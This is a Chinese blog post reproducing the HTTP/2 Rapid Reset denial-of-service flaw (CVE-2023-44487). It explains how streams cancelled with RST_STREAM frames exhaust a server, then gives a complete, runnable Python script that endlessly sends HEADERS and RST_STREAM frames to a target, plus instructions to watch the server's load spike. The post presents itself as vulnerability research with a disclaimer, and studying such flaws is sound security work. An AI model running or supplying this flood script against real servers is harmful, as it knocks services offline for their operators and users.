漏洞验证：HTTP/2的快速重置DOS攻击（CVE-2023-44487）

闵宇伊豪

已于 2023-10-24 21:44:14 修改

阅读量2.7k

点赞数 1

分类专栏：漏洞 http 文章标签： 1024程序员节网络安全安全 http web安全

于 2023-10-24 16:55:11 首次发布

本文链接：https://blog.csdn.net/weixin_53523921/article/details/134016152

版权

漏洞同时被 2 个专栏收录

2 篇文章 0 订阅

订阅专栏

http

1 篇文章 0 订阅

订阅专栏

本文介绍了HTTP/2协议中的RST_STREAM帧如何被恶意利用形成DDoS攻击，通过Python代码示例展示了攻击原理。同时提到Nginx不受此漏洞影响的配置以及漏洞的预防措施，强调及时更新以保障系统安全。

摘要由CSDN通过智能技术生成

声明

本篇文章仅用于漏洞复现与技术研究，请勿利用文章内的相关技术从事非法测试，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用！！！

一、漏洞原理

对于 HTTP/1.1来说，HTTP/2 协议的一个更新点在于 单连接上的多路复用：就是说HTTP/2 协议允许在单个连接上同时发送多个请求，每个 HTTP 请求和响应都使用不同的流。

这些数据流称为数据帧，其中比较重要的包括：

SETTINGS 帧：控制消息，用于传递关于 http2 连接的配置参数，例如 SETTINGS_MAX_CONCURRENT_STREAMS 定义连接上的最大并发流数目。
RST_STREAM 帧：直接取消一个流。如果客户端不想再接收服务端的响应，可以直接发送 RST_STREAM 帧。

客户端可以通过发送 RST_STREAM帧直接取消一个流，当服务端收到一个 RST_STREAM帧时，会直接关闭该流。

此时客户端可以不停向服务器发送请求，中间不用等待任何响应，导致服务器陷入了接受请求-处理请求-直接结束请求的循环中。

攻击者就可以利用该漏洞，通过持续的HEADERS、RST_STREAM帧组合，来消耗服务器资源，进而影响服务器正常请求的处理，造成 DDoS 攻击。

二、编写python代码

#!/usr/bin/env python3
 
import socket
import ssl
import certifi
 
import h2.connection
import h2.events
 
 
SERVER_NAME = '127.0.0.1'
SERVER_PORT = 443
 
# generic socket and ssl configuration
socket.setdefaulttimeout(15)
ctx = ssl.create_default_context(cafile=certifi.where())
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.set_alpn_protocols(['h2'])
 
# open a socket to the server and initiate TLS/SSL
s = socket.create_connection((SERVER_NAME, SERVER_PORT))
s = ctx.wrap_socket(s, server_hostname=SERVER_NAME)
 
c = h2.connection.H2Connection()
c.initiate_connection()
s.sendall(c.data_to_send())
 
headers = [
    (':method', 'GET'),
    (':path', '/'),
    (':authority', SERVER_NAME),
]
 
while True:
    stream_id = c.get_next_available_stream_id()
    print(stream_id)
    c.send_headers(stream_id, headers, end_stream=True)
    s.sendall(c.data_to_send())
    c.reset_stream(stream_id)
    s.sendall(c.data_to_send())
 
# tell the server we are closing the h2 connection
c.close_connection()
s.sendall(c.data_to_send())
 
# close the socket
s.close()

代码实现功能：不断发送 HEADERS 帧和 RST_STREAM 帧序列。

在本地或者云搭建好相应的服务器环境，HTTP/2协议，用py脚本进行测试运行，即可看到服务器负载快速增加，并且出现明显卡顿。